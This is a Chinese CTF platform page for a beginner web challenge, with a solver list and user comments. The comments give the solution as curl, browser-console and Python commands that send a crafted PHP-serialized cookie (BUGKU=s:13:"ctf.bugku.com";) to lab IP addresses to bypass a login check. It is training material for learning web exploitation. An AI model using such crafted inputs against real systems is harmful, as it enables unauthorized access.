点login咋没反应WEB 未解决
分数:
40
金币:
6
题目作者:
harry
一 血:
ShiomiyaRinne
一血奖励:
5金币
解 决:
3535
提 示:
描 述:
点了login咋没反应
评分(7)
解题动态
jiang1111 攻破了该题 2天前
kangdy 攻破了该题 3天前
jiuxian112 攻破了该题 4天前
欧阳凌风 攻破了该题 5天前
17199913044 攻破了该题 6天前
weyu 攻破了该题 7天前
志在山野 攻破了该题 7天前
kingx3 攻破了该题 7天前
奥特娘 攻破了该题 10天前
姜姜姜姜jjjj 攻破了该题 10天前
283026 攻破了该题 10天前
Amy 攻破了该题 11天前
一江明月送归舟 攻破了该题 11天前
Yy09 攻破了该题 11天前
晚霞难掩秋色 攻破了该题 12天前
dsfadfdsf 攻破了该题 12天前
cxy..... 攻破了该题 12天前
xiaoxiang07 攻破了该题 14天前
liwssy 攻破了该题 14天前
评论
kangdy 3天前
举报
F12看到有个admin.ss,点击看到有串数字30169，拼接这个地址打开，看到代码反序列化后的结果 强等于字符串 ctf.bugku.com 用curl工具输入 curl -H "Cookie: BUGKU=s:13:\"ctf.bugku.com\";" http://160.202.254.160:17787/
zhang 4天前
举报
垃圾环境气死我了，真逆天
17199913044 6天前
举报
Cookie: BUGKU=s:13:"ctf.bugku.com"
厌弃. 20天前
举报
所以在F12的控制台以此输入 document.cookie = 'BUGKU=' + encodeURIComponent('s:13:"ctf.bugku.com";') + '; path=/'; location.reload(); 这两行代码，写入cookie和打印出flag就可以了
厌弃. 20天前
举报
首先访问靶场登录页面，F12查看源码，有个admin.css文件，第一行注释有提示访问 ?27926（注：每个人不一样），访问后是一串php代码，考察的是反序列化，不会的话可以让AI分析，意思就是给ctf.bugku.com地址进行一次反序列化得到s:13:"ctf.bugku.com";，并且是以cookie方式提交
jwleft 2月前
举报
curl -H 'Cookie: BUGKU=s:13:"ctf.bugku.com"' http://160.202.254.160:17338/
灵梦归希 2月前
举报
关键点：admin.css
我的刀盾 3月前
举报
查看源码，有个提示。
icyskin 3月前
举报
response = requests.get(url, cookies={ 'BUGKU': 's:13:"ctf.bugku.com";'}) print(response.content)
杰哥 4月前
举报
CMD中提交：curl -b "BUGKU=s:13:\"ctf.bugku.com\";" http://160.202.254.160:11196（可改为实际URL） flag{*******}